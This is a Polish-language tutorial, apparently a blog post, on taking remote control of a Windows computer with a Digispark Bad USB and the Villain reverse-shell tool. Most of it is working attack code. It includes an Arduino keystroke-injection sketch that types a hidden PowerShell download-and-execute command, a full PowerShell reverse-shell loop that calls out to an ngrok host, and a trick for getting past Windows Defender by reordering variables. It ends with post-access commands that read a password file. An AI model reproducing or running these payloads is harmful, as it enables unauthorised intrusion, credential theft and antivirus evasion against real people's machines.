Reverse shell za pomocą Bad USB
Czym jest reverse shell?
Reverse shell (serwer na komputerze atakującego) w przeciwieństwie do zwykłego połączenia urządzenia atakującego do serwera na zarażonym komputerze (blind shell - serwer na komputerze zarażonym) działa odwrotnie, czyli zarażony komputer wysyła do serwera atakującego komendy, które odczytał np. ze strony internetowej.
(Obraz przetłumaczony z https://github.com/t3l3machus/Villain)
Co daje nam dostęp reverse shell? Za pomocą reverse shell’a atakujący może otrzymać np. dostęp do wszystkich plików, konfiguracji komputera, IP, pobrać i otworzyć inne złośliwe oprogramowanie i większość tego, co użytkownik może zrobić za pomocą konsoli.
Dlaczego reverse shell jest lepszy od blind shell? Blind shell jest często wykrywany przez antywirusa lub firewall’a (zabezpieczenie sieciowe).
Już jest jasne jak działa reverse shell, teraz pytanie, jak go uruchomić? Można do tego wykorzystać program Villain od użytkownika t3l3machus . Ogromnym plusem programu Villain jest to, że nie wykrywa go windows defender (aktualnie) i jest na bieżąco aktualizowany.
Po instalacji na system Linux za pomocą instrukcji na stronie github projektu https://github.com/t3l3machus/Villain możemy generewać reverse shell’a za pomocą komendy “generate os=windows lhost=eth0” która wygeneruje skrypt na system operacyjny Windows w sieci lokalnej. Można także użyć “generate os=windows lhost=eth0 obfuscate” by dodatkowo zaszyfrować skrypt. Co ważne skrypt jest jednorazowy, czyli za każdym razem, gdy chcemy połączyć się do nowej osoby trzeba generować nowy.
Przykładowy skrypt
Można przetestować go przez odpalanie w terminalu powershell.
Jeśli wszystko się udało zobaczymy w konsoli Villain’a to:
Za pomocą komendy “sessions” otrzymamy uruchomione sesje, a komenda “shell ID_SESJI”
Umożliwi dostęp do terminala komputera.
Można zauważyć, że generowany skrypt jest bardzo długi i zajmie dużo czasu wpisywanie go na urządzenie, które chcemy zarazić. Żeby zrobić to szybciej, będziemy potrzebowali Bad USB.
Czym jest Bad USB?
Niewtajemniczona osoba zapewne pomyśli, że na dwóch obrazkach są pendrive’y , lecz tak naprawdę po lewej stronie jest wariant Bad USB (Rubber ducky), który można kupić za około 50$
Czym się różni Bad USB od pendrive’a?
Komputer wczytuje pendrive jako urządzenie z pamięcią, a Bad USB wczytuje jako klawiaturę/myszkę. Atakujący może zaprogramować tą “klawiaturę”, żeby wpisywała zaprogramowany tekst po podpięciu do komputera.
Czyli można wykorzystać Bad USB do odpalenia konsoli i wpisania skryptu wygenerowanego wcześniej.
Można kupić Rubber ducky i napisać to na nim, ale jest też tańsza opcja, czyli Digispark ATtiny 85, który kosztuje ok. 25 złotych.
Mikrokontroler Digispark programuje się w programie arduino w języku c++
Instrukcje do dodania Digispark do arduino można znaleźć na oficjalnej stronie
Mój skrypt do Bad USB to:
#include "DigiKeyboard.h"
void digiBegin() {
DigiKeyboard.sendKeyStroke(0,0);
DigiKeyboard.delay(50);
}
void digiEnd() {
const int led=1;
pinMode(led, OUTPUT);
while (1) {
digitalWrite(led, !digitalRead(led));
DigiKeyboard.delay(1000);
}
}
void printText(fstr_t *txt) {
DigiKeyboard.print(txt);
DigiKeyboard.update();
}
void setup() {
digiBegin();
DigiKeyboard.sendKeyStroke(KEY_R, MOD_GUI_LEFT);
DigiKeyboard.delay(1000);
printText(F("cmd /c start /min \"\" powershell -WindowStyle Hidden -ExecutionPolicy Bypass -Command \"iex ((New-Object System.Net.WebClient).DownloadString('https://address'))\""));
DigiKeyboard.sendKeyStroke(KEY_ENTER);
digiEnd();
}
void loop() {}
Digispark po podłaczeniu do komputera klika klawisze windows+r i po 1 sekundzie zaczyna wpisywać komendę
cmd /c start /min "" powershell -WindowStyle Hidden -ExecutionPolicy Bypass -Command "iex ((New-Object System.Net.WebClient).DownloadString('https://address'))"
(url do skryptu można zmienić w DownloadString)
Która pobiera wygenerowany wcześniej za pomocą Villain’a skrypt a później odpala go w ukrytym oknie.
Jeśli wszystko się udało w konsoli Villain zobaczymy nowy backdoor.
Chciałbym zauważyć, że to rozwiązanie działa, ale ma dużą wadę. Komputer atakującego i komputer zarażony muszą być cały czas w tej samej sieci, ponieważ zarażone urządzenie łączy się lokalnie do serwera na urządzeniu atakującego.
Ten problem można rozwiązać za pomocą serwera ngrok, który będzie przekierowywał zarażony komputer na lokalną sieć atakującego.
Kroki uruchomienia serwera ngrok:
- Zarejestrowanie konta na https://ngrok.com
- Pobranie ngrok na linuxa za pomocą komendy “curl -s https://ngrok-agent.s3.amazonaws.com/ngrok.asc | \
sudo tee /etc/apt/trusted.gpg.d/ngrok.asc >/dev/null && \
echo "deb https://ngrok-agent.s3.amazonaws.com buster main" | \
sudo tee /etc/apt/sources.list.d/ngrok.list && \
sudo apt update && sudo apt install ngrok” - Dodanie tokenu swojego konta za pomocą komendy “ngrok config add-authtoken TOKEN”(TOKEN należy zastąpić swoim tokenem, który można znaleźć na https://dashboard.ngrok.com/get-started/your-authtoken)
- uruchomienie serwera za pomocą “ngrok http 8080”(8080, ponieważ villain też jest na tym porcie)
Przykład serwera ngrok
Teraz musimy połaczyć Villain’a do ngroka, żeby to zrobić trzeba edytować wygenerowany wcześniej skrypt np.
Start-Process $PSHOME\powershell.exe -ArgumentList {$s='10.0.2.15:8080';$i='b13325f5-f09160dd-ceccdc60';$p='http://';$v=Invoke-RestMethod -UseBasicParsing -Uri $p$s/b13325f5/$env:COMPUTERNAME/$env:USERNAME -Headers @{"Authorization"=$i};for (;;){$c=(Invoke-RestMethod -UseBasicParsing -Uri $p$s/f09160dd -Headers @{"Authorization"=$i});if ($c -ne 'None') {$r=Invoke-Expression $c -ErrorAction Stop -ErrorVariable e;$r=Out-String -InputObject $r;$x=Invoke-RestMethod -Uri $p$s/ceccdc60 -Method POST -Headers @{"Authorization"=$i} -Body ([System.Text.Encoding]::UTF8.GetBytes($e+$r) -join ' ')} sleep 0.8}} -WindowStyle Hidden
$s='10.0.2.15:8080'
Trzeba zmienić na adres serwera http ngrok (Linijka forwarding na obrazku powyżej bez https://).
$s='63d0-80-238-115-54.eu.ngrok.io'
W $p='http://' trzeba dodac s do http:
$p='https://'
A także trzeba we wszystkich "Authorization"=$i dodać :"ngrok-skip-browser-warning"="a"
"Authorization"=$i;"ngrok-skip-browser-warning"="a"
Powyższy skrypt po zmianie:
Start-Process $PSHOME\powershell.exe -ArgumentList {$s='63d0-80-238-115-54.eu.ngrok.io';$i='b13325f5-f09160dd-ceccdc60';$p='https://';$v=Invoke-RestMethod -UseBasicParsing -Uri $p$s/b13325f5/$env:COMPUTERNAME/$env:USERNAME -Headers @{"Authorization"=$i;"ngrok-skip-browser-warning"="a"};for (;;){$c=(Invoke-RestMethod -UseBasicParsing -Uri $p$s/f09160dd -Headers @{"Authorization"=$i;"ngrok-skip-browser-warning"="a"});if ($c -ne 'None') {$r=Invoke-Expression $c -ErrorAction Stop -ErrorVariable e;$r=Out-String -InputObject $r;$x=Invoke-RestMethod -Uri $p$s/ceccdc60 -Method POST -Headers @{"Authorization"=$i;"ngrok-skip-browser-warning"="a"} -Body ([System.Text.Encoding]::UTF8.GetBytes($e+$r) -join ' ')} sleep 0.8}} -WindowStyle Hidden
Wszystko prawie gotowe teraz można przetestować skrypt w powershell:
Wyświetla się błąd, ponieważ windows defender wykrył skrypt. Można to naprawić korzystając ze wskazówek autora Villain
Bypass signature-based detection with Villain
Najprostszym sposobem jest zamiana zmiennej miejscami np. $p='https://'; można dać od razu po ArgumentList {
Start-Process $PSHOME\powershell.exe -ArgumentList {$p='https://'; $s='63d0-80-238-115-54.eu.ngrok.io';$i='b13325f5-f09160dd-ceccdc60';$v=Invoke-RestMethod -UseBasicParsing -Uri $p$s/b13325f5/$env:COMPUTERNAME/$env:USERNAME -Headers @{"Authorization"=$i;"ngrok-skip-browser-warning"="a"};for (;;){$c=(Invoke-RestMethod -UseBasicParsing -Uri $p$s/f09160dd -Headers @{"Authorization"=$i;"ngrok-skip-browser-warning"="a"});if ($c -ne 'None') {$r=Invoke-Expression $c -ErrorAction Stop -ErrorVariable e;$r=Out-String -InputObject $r;$x=Invoke-RestMethod -Uri $p$s/ceccdc60 -Method POST -Headers @{"Authorization"=$i;"ngrok-skip-browser-warning"="a"} -Body ([System.Text.Encoding]::UTF8.GetBytes($e+$r) -join ' ')} sleep 0.8}} -WindowStyle Hidden
Część tekstu należy usunąć, ponieważ skrypt nie działa z nim.
$p='https://'; $s='63d0-80-238-115-54.eu.ngrok.io';$i='b13325f5-f09160dd-ceccdc60';$v=Invoke-RestMethod -UseBasicParsing -Uri $p$s/b13325f5/$env:COMPUTERNAME/$env:USERNAME -Headers @{"Authorization"=$i;"ngrok-skip-browser-warning"="a"};for (;;){$c=(Invoke-RestMethod -UseBasicParsing -Uri $p$s/f09160dd -Headers @{"Authorization"=$i;"ngrok-skip-browser-warning"="a"});if ($c -ne 'None') {$r=Invoke-Expression $c -ErrorAction Stop -ErrorVariable e;$r=Out-String -InputObject $r;$x=Invoke-RestMethod -Uri $p$s/ceccdc60 -Method POST -Headers @{"Authorization"=$i;"ngrok-skip-browser-warning"="a"} -Body ([System.Text.Encoding]::UTF8.GetBytes($e+$r) -join ' ')} sleep 0.8}
Jest to skrypt końcowy, który teraz można wkleić na stronę, z której digispark pobiera skrypt.
Gotowe.
Wideo demonstracja zdalnego dostępu do komputera za pomocą Bad Usb
Demonstracja Reverse shell za pomocą Bad Usb
Komendy, które użyłem na filmie:
start "https://www.youtube.com/watch?v=xvFZjo5PgG0"
Get-ComputerInfo
Get-PnpDevice
cd "C:\Users\Admin\Desktop\"
Set-Content "C:\Users\Admin\Desktop\shell.txt" 'reverse shell test'
Invoke-WebRequest -URI https://i.ytimg.com/vi/eL71nWt3awU/maxresdefault.jpg -OutFile "technischools.jpg"
start technischools.jpg
cd "C:\Users\Admin\OneDrive\Dokumenty"
cat haslo.txt
Stop-Computer -ComputerName localhost
- Odpalenie filmu na YouTube
- Informacja o Komputerze
- Informacja z Menedżera urządzeń
- Zmiana ścieżki
- Pobranie loga technischools ze strony jako jpg
- Odpalenie obrazka
- Zmiana ścieżki
- Przeczytanie tekstu z pliku haslo.txt
Wyłączenie komputera